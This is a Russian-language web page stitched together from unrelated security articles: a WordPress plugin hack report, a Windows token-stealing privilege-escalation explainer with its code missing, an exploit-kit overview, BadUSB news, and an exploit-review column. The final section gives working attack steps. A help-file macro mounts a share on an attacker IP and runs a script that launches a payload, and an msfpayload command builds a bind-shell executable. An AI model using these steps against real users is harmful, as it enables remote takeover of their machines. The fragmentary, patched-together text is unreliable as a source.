что делать если не работает easy exploit
Уязвимость в Easy WP SMTP
Сразу опубликую решение проблемы, если уже взломали.
Недавно один из сайтов, которые я веду, был взломан. Я задался вопросом, где же уязвимость, через которую меня ломанули и сумел найти ответы на зарубежных форумах. Оказалось, что в плагине Easy WP SMTP была обнаружена уязвимость, через которую злоумышленник способен получить доступ к сайту через нее.
Быстрее обновитесь!
На данный момент уязвимость обнаружена в версии плагина 1.3.9, конечно же, сразу же выпустили обновление, которое закрывает сию дыру. Так что рекомендуется немедленно обновить версию плагина, дабы не рисковать сайтом.
На данный момент сайты находятся под массированной атакой злоумышленников. Лично у меня ничего серьезного не произошло. Эксплоит в Easy WP SMTP привел всего лишь к установке редиректа на другой сайт. В базе данных заменил ссылку, зашел на сайт, проверил веб-антивирусами, дополнительно проверил с помощью антивируса, предназначенного специально для проверки сайтов, AI-Bolit. Все в порядке.
Но стоит быть бдительными и закрыть все возможные дыры обновлением. Учтите, спрятанный адрес админки, блокировка IP не особо помогают, несмотря на предпринятые меры защиты, сайт был взломан. Так что, либо избавляться от плагина, либо обновляться.
На всякий случай
Уязвимость была обнаружена на выходных, в эти же выходные и исправлена. У плагина Easy WP SMTP. В случае взлома вас переадресует на сайт https://getmyfreetraffic.com
А также появится новый зарегистрированный пользователь:
Отключенная регистрация пользователей тоже не поможет.
Структура эксплойта
Хватит запуска определенного AJAX-запроса для получения доступа к БД и админки, например:
Точнее сказать, как сие дело работает, не могу, мало понимаю в данной теме. Но примерно объяснил, каких проблем следует ждать. Всего доброго, защитите свой сайт.
Как работают эксплойты по повышению привилегий в ОС Windows
Тема получения безграничного доступа к системе очень интересна в контексте тестирования на проникновение. Получить доступ к системе и запустить команду — сегодня это только половина победы. Вторая половина достигается только в тот момент, когда удается обойти подсистемы песочниц и ограничений, которые есть в операционной системе.
Эта статья расскажет о некоторых особенностях эксплойтов для повышения привилегий в операционной системе Windows.
Privileges in Windows
Для понимания, как работает эскалаций привилегий, необходимо разобраться с разграничением доступа в операционной системе Windows. Описание системы разграничения доступа можно найти на официальном сайте. Согласно документации, разграничение доступа в ОС Windows строится на следующих понятиях:
У каждого из перечисленных объектов есть свой индивидуальный идентификатор SID. Вообще, этот идентификатор используется для обозначения любого объекта, с которым работает операционная система, и для него требуется контроль доступа, но нас интересует в первую очередь использование этого идентификатора в контексте пользователей, групп и их прав. Идентификатор используется для того, чтобы создать для пользователя токен доступа. Данный токен содержит информацию о том, какие права имеет пользователь и группы, в которые он входит. Токен будет использоваться для подтверждения или запрета действий над объектами операционной системы, называемыми “Securable Objects”. Токены доступа бывают:
Primary token — токен, которым наделяет пользователь процесс, когда запускает приложение.
Impersonation token — токен, который может работать от имени любого пользователя операционной системы. Также может применяться для клиент-серверного взаимодействия или для запуска потока процесса с другими привилегиями.
Отсюда становится ясно, что основная цель любой эскалации привилегий — это получение токена доступа, который создается привилегированными пользователями. В общем случае, в ОС Windows это стандартные пользователи, которые называются: “Administrator” и “System”. Именно их токены открывают двери к любой информации, которая есть в операционной системе.
Из официальной документации токен состоит из отдельных объектов:
Структура достаточно сложная и просто так скопировать или модифицировать ее не получится из-за того, что токен хранится в защищенном от модификации месте (как сказано в документации). Выясним, где она находится. Для этого запустим операционную систему Windows в отладочном режиме и исследуем все структуры, которые используются для работы процесса. Если обратиться снова к официальной документации, то начинать стоит со структуры EPROCESS.
Получается, что информация о токене процесса хранится в ядре и поэтому в документации это помечено как область, которую нельзя изменить. Теоретически это действительно так: обычные приложения, которые работают в 3-м кольце, не могут модифицировать то, что хранится в 0-м. Но если модифицировать из ядра структуру внутри ядра, то здесь нет никаких ограничений и противоречий. Обратимся к отладчику:
Жирным цветом выделен адрес структуры EPROCESS, чтобы изучить её более подробно вызовем команду отладчика:
Похоже, что и искать долго не придется, токен находится буквально сразу. В 64-битных операционных системах ссылка на него находится по смещению 0x208. Чтобы ее прочитать нужно маскировать адрес:
Это адрес, который необходимо маскировать полностью, кроме последнего байта:
Над адресом токена нужно вызвать одноименную команду и мы можем убедиться, что действительно, как указано в документации, токен содержит информацию, которая была заявлена:
Из рисунка видно, что все привилегии, которые содержит токен, располагаются в виде битовой маски и имеют названия, которые начинаются с префикса “Se”. Именно эти поля нам и нужно модифицировать, чтобы операционная система позволяла процессу читать что угодно в операционной системе. Определившись с целью, время поговорить об атаках на набор привилегий, уязвимостях и экспортах к ним.
LPE или что делать с токеном
Приведенный выше код позволяет скопировать токен для текущего процесса из системного процесса с идентификатором 4. Стоит отметить, что код должен быть запущен в контексте ядра операционной системы. Это означает, что он либо должен быть выполнен драйвером, либо шелкодом, который будет загружаться в память через уязвимость операционной системы.
Уязвимости и эксплойты
Операционная система Windows, как и любая другая сложная система, насчитывает миллионы строк кода. И, как в любом большом проекте, его размер не позволяет исключать ошибки и недочеты. На картинке ниже представлена статистика найденных в ОС уязвимостей последних 5 лет. В нее включены уязвимости для повышения привилегий:
CVE-2015-2546
Уязвимость в Win32k модуле операционной системы, повреждение памяти. Фрагмент эксплойта, который отвечает за изменение токена процесса:
Кажется, это тот самый код, который был представлен выше. В нем видоизменен подход к поиску токена, но основная идея та же — получить ссылку на токен из процесса с PID=4(System.exe).
CVE-2016-3309
Уязвимость в Win32k, снова проблема с повреждением памяти, взглянем на кусок кода, который используется для замены токена:
В этом случае автор использовал язык программирования C, так же была изменена часть поиска адреса токена, но снова методика замены токена — перезапись адреса из системного процесса.
CVE-017-0101
Уязвимость в user32 GDI объектах и снова повреждение памяти. Код замены токена:
Код скопирован из эксплойта 2016 года, похоже, что на этот период примитивы для проведения эскалаций привилегий еще пока что не митигировались в Windows.
CVE-2018-8120
Уязвимость в Win32k компоненте, в этот раз неверно обрабатывается nullpointer, код для замены токена:
Автор эксплойтов явно не спешит использовать что-то другое или хотя бы новое. Снова код, который ищет System.exe и использует его токен.
CVE-2019-1458
Уязвимость в Win32k, повреждение памяти, код замены токена:
Вот и первые изменения, автор больше не мог использовать код, который его выручал на протяжении 3х лет. Теперь токен заменяется через примитивы, которые использовались для эксплуатации уязвимостей в Windows 10 — метод Bitmap. По механике он делает тоже самое, но достигается это за счет использования объектов подсистемы Win32k.
CVE-2020-0796
Уязвимость в драйвере, который обрабатывает SMBv3 запросы. Проблема таилась в переполнении целочисленного типа, который отвечал за количество выделяемой памяти в ядре. Код замены токена:
Случай с этой уязвимостью — особенный. В первую очередь потому, что замена и перезапись токена осуществляется за 1 проход при получении неверно сформатированного запроса по SMBv3, поэтому в исходнике не происходит никаких дополнительных вычислений и действий по отношению к токену System.exe и процесса пользователя.
Вместо заключения
При тестировании на проникновение часто возникает необходимость использовать тот или иной публичный эксплойт на эскалацию привилегий. При этом не всегда можно найти подробное описание эксплойта и привести его в работоспособное состояние. Надеюсь, эта статья помогла вам увидеть шаблоны, которые применяются для написания эксплойтов, и теперь разбираться в них станет чуточку легче. К тому же, как показывает описание выше, способов на повышение привилегий не так много, а именно один — изменение ссылки на токен процесса. Все остальное это просто модификации способа как ссылку можно перезаписать.
Узнать подробнее о курсе «Пентест. Практика тестирования на проникновение».
Записаться на открытый вебинар по теме «Windows ad: сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5 лет.»
Что такое эксплойты и почему их все так боятся?
Разработчики защитных решений часто упоминают эксплойты как одну из самых серьёзных проблем безопасности данных и систем, хотя и не всегда ясно, почему. Попробуем разобраться в этом вопросе
Разработчики защитных решений часто упоминают в своих публикациях эксплойты как одну из самых серьезных проблем безопасности данных и систем, хотя и не всегда ясно, какова разница между эксплойтами и вредоносными программами в целом. Попробуем разобраться с этим вопросом.
Что такое эксплойт?
Эксплойты — это подвид вредоносных программ. Они содержат данные или исполняемый код, способный воспользоваться одной или несколькими уязвимостями в программном обеспечении на локальном или удаленном компьютере.
Например, у вас есть браузер, и есть уязвимость в нем, которая позволяет исполнить «произвольный код», то есть установить и запустить некую вредоносную программу на вашей системе без вашего ведома или спровоцировать какое-либо иное не ожидаемое вами поведение системы. Чаще всего первым шагом злоумышленников становится повышение привилегий, позволяющее делать в атакуемой системе все, что в голову взбредет.
Microsoft закрыла уязвимость нулевого дня в Windows и аж 41 дырку в Internet Explorer, но бреши еще остались: http://t.co/RzSNpPd3oH
Браузеры наряду с Flash, Java и Microsoft Office являются одними из самых подверженных атакам категорий программного обеспечения. Из-за их повсеместности их активно исследуют как эксперты по безопасности, так и хакеры, а разработчики браузеров вынуждены регулярно выпускать патчи для исправления уязвимостей. Лучше всего эти патчи устанавливать сразу, но, к сожалению, так происходит далеко не всегда — ведь при этом придется закрывать все вкладки.
Особую проблему, конечно, представляют собой эксплойты неизвестных уязвимостей, обнаруженных и использованных преступниками, — так называемые уязвимости нулевого дня. Может пройти много времени, прежде чем производители узнают о наличии проблемы и устранят ее.
Как происходит заражение
Следующая часть вполне техническая, так что не стесняйтесь проматывать, если только вам не в самом деле интересно, как это работает. Имейте в виду при этом, что киберпреступники часто предпочитают эксплойты прочим методам заражения, так как, в отличие от социальной инженерии, в которой все делается наудачу, эксплуатация уязвимостей неизменно дает желаемый результат.
Есть два способа «скормить» пользователям эксплойты. Во-первых, при посещении ими сайта, содержащего вредоносный код эксплойта. Во-вторых, при открытии пользователем безобидного на вид файла со скрытым вредоносным кодом. Как легко догадаться, во втором случае для доставки эксплойта, как правило, пользуются спамом или фишинговым письмом.
Почему фишинг получил такое распространение и как от него уберечься: http://t.co/sezy73TbSb
Как поясняется в статье Securelist, эксплойты предназначены для атаки конкретных версий программного обеспечения, содержащего уязвимости. Таким образом, если у пользователя нужная версия программного обеспечения при открытии вредоносного объекта или если веб-сайт использует это программное обеспечение для работы, то запускается эксплойт.
После того как он получает доступ посредством уязвимости, эксплойт загружает дополнительные вредоносные программы с сервера преступников, осуществляющие подрывную деятельность, такую как кража личных данных, использование компьютера в качестве элемента ботнета для рассылки спама или выполнения DDoS-атак и так далее.
Эксплойты представляют угрозу даже для осторожных и добросовестных пользователей, которые регулярно обновляют свое программное обеспечение. Причина кроется во временном зазоре между открытием уязвимости и выходом патча для ее исправления.
В этом интервале эксплойты могут свободно функционировать и угрожать безопасности почти всех интернет-пользователей при отсутствии установленных в системе автоматических средств предотвращения атак эксплойтов. Опять же, не будем забывать про синдром открытых вкладок — своевременное обновление программ зачастую требует от пользователя некоторых жертв, на которые не все готовы пойти сразу в момент выхода заплатки.
Эксплойты ходят стаями
Эксплойты часто упакованы вместе — так, чтобы проверить систему-мишень на широкий спектр уязвимостей. Как только выявляются одна или несколько, в дело вступают соответствующие эксплойты. Наборы эксплойтов также широко используют специальные методы запутывания кода (специалисты называют это умным словом «обфускация»), чтобы избежать обнаружения и замести интернет-адреса с целью помешать исследователям их вычислить.
Перечислим несколько наиболее известных наборов эксплойтов, или, как еще их называют, эксплойт-китов:
Angler — один из самых сложных наборов на черном рынке. Этот набор эксплойтов своим появлением изменил правила игры, после того как начал обнаруживать антивирусы и виртуальные машины (часто используемые экспертами по безопасности как приманки) и задействовать шифрованные файлы для затруднения исследования. Это один из тех наборов эксплойтов, которые быстрее всего включают в свой арсенал недавно открытые уязвимости нулевого дня, а его вредоносные программы работают в памяти, без записи на жестких дисках жертв. С техническим описанием пакета можно ознакомиться здесь.
Nuclear Pack — поражает жертв эксплойтами Java и Adobe PDF, а также подсаживает Caphaw — печально известный банковский троян. Подробнее читайте здесь.
Blackhole Kit — наиболее распространенная веб-угроза в 2012 году, нацеленная на уязвимости в старых версиях браузеров Firefox, Chrome, Internet Explorer и Safari, а также многих популярных плагинов, таких как Adobe Flash, Adobe Acrobat и Java. После того как жертву заманили или перенаправили на страницу подсадки, запутанный JavaScript определяет содержимое машины жертвы и загружает те эксплойты, для которых данный компьютер уязвим.
Blackhole, в отличие от большинства других эксплойт-китов, даже удостоился отдельной статьи в «Википедии», хотя после ареста вышеупомянутого Paunch сам набор практически вышел в тираж.
Вывод
Как сказано выше, эксплойты — подвид вредоносных программ, но они обнаруживаются не всеми защитными программами. Для успешного обнаружения необходимо, чтобы защитное решение использовало поведенческий анализ — это единственный надежный метод борьбы с эксплойтами. Вредоносные программы могут быть многочисленными и разнообразными, но большинство из них имеют похожие черты поведения.
Что такое эксплойты и почему их все так боятся?
Подобный метод используется в Kaspersky Internet Security и других продуктах «Лаборатории Касперского» — соответствующая часть наших защитных решений называется «Автоматическая защита от эксплойтов» (или AEP — Automatic Exploit Prevention). Характерное поведение эксплойтов помогает предотвратить заражение даже в случае эксплуатации ранее неизвестной уязвимости нулевого дня.
Более подробную информацию о технологии Automatic Exploit Prevention можно найти здесь.
Исходный код эксплойта для «неустранимой» уязвимости в USB-устройствах опубликован на GitHub
Думаю, пару месяцев назад многие слышали из новостей про уязвимость в USB-контроллерах, которая может превратить любое периферийное устройство, подключаемое по usb, в инструмент кибершпионажа. В англоязычной компьютерной прессе эта проблема получила название «BadUSB». Первым о ней сообщил Карстен Нол (Karsten Nohl), секьюрити-эксперт и исследователь из берлинской компании SR Labs на конференции BlackHat USA. Из-за серьезности проблемы и опасений, что уязвимость сложно устранить, Нол не стал публиковать эксплойт, пытаясь дать время вендорам на ее устранение.
С тех пор прошло 2 месяца и все уже напрочь забыли о «плохом юэсби», пока неделю назад, уже на другой хакерской конфе — Derbycon — не выступили еще двое исследователей: Адам Кадилл и Брэндон Уилсон (Adam Caudill, Brandon Wilson).
Не буду полностью пересказывать их выступление, просто посмотрите видео, объясняют парни вполне доступно.
Основная идея в том, что нужно отказаться от мысли о любом usb-драйве как о простом носителе информации и начать рассматривать его как полноценный компьютер, который может быть запрограммирован на выполнение любых команд.
Всё становится еще серьезнее, если принять во внимание, что вредоносный код, записанный в модифицированную прошивку usb-драйва, полностью скрыт, не детектится антивирусами и не может быть удалён при форматировании устройства. Вспоминается Stuxnet — история с заражением компьютеров иранского ядерного центра — тоже с использованием инфицированных usb-девайсов.
В отличие от первооткрывателя «BadUSB», Адам и Брэндон еще и выложили код своего proof-of-concept на GitHub, мотивируя это отсутствием уверенности в том, что вендоры не закрыли глаза на проблему и считая, что только публикация общедоступного эксплойта заставит компании-производители USB-контроллеров начать работать над патчем. Так что, хоть эксплойт и не универсален и написан для определенного USB-контроллера одного из Тайваньских производителей (Phison 2251-03), появление других модификаций теперь только вопрос времени.
Обзор эксплоитов
Содержание статьи
Выполнение произвольного кода в браузере Internet Explorer
Targets
Brief
Exploit
Все хорошо, но вот это окно с предупреждением о недоверенном исполняемом файле портит всю малину. Немного пораскинув мозгами, я придумал способ, как убрать это окошко. Моя идея заключается в том, что окошко исчезнет, если макрос в HLP-файле не будет сразу запускать EXE, а сначала будет подключен сетевой ресурс как сетевой диск. Для этого придется создать свой HLP-файл. Нам понадобится Microsoft Help Workshop версии 4 (есть на диске). Для создания HLP-файла первоначально нужно создать RTF-файл, например в Word’e. В него нужно добавить сноски (Вставка„„Ссылка->Сноска). Символ сноски имеет самое непосредственное значение. Создай сноски: ‘$ ZLO’, ‘# IDH_1’ — заголовок и идет имя макроса с параметрами. Допустим, мы создали сетевой ресурс free, и наш IP — 10.10.10.10. Тогда добавим такие сноски:
!ExecFile(cmd,/c net use z: \\\\10.10.10.10\\free)
!ExecFile(cmd,/c wscript z:\\exec.vbs)
Таким образом, эксплойт сначала подключит сетевой диск, а потом без всяких вопросов запустит скрипт exec.vbs. Содержимое exec.vbs:
Dim WshShell,oExec
Set WshShell = wscript.createobject(«wscript.shell»)
Set oExec = WshShell.Exec(«z:\zlo.exe»)
Данный скрипт запускает исполняемый файл. Но зачем нужен скрипт, когда можно сразу запустить файл? Если шеллкод метасплойта переделать в исполняемый файл, и запустить средствами макроса, то он не отдаст управление консоли, и в итоге пользователь после загрузки шеллкода увидит черное окошко cmd.exe, которое будет висеть, пока процесс не будет закрыт. Если запускать через скрипт, то тогда wscript не даст «захватить» консоль, создав для шеллкода свой процесс, и все что увидит пользователь, если вообще заметит — мигание cmd.exe. Теперь, собственно о том, как из шеллкода сделать исполняемый файл. Очень просто — загружаем cygwin консоль метасплойта и выполняем:
msfpayload windows/shell_bind_tcp LPORT=4444 X > zlo.exe
Если пользователь нажмет во время появления сообщения о спасении мира, можно смело подсоединяться на 4444 порт с целью получения шелла. Параметр big указывает на наш HLP файл, а следующий параметр, единица, номер контекста (помнишь, мы делали IDH_1=1?).
Solution
Использование освобожденной памяти в модуле APACHE ISAPI_MODULE
Targets
Автор предупреждает, что данный эксплойт не будет работать с виртуальной машины, и против DEP. Если цель находится под защитой DEP, то в итоге будет простой DoS.
Solution
Установить версию веб-сервера 2.2.15. Конечно, если не используются ISAPI-расширения, то бояться эксплойта не стоит.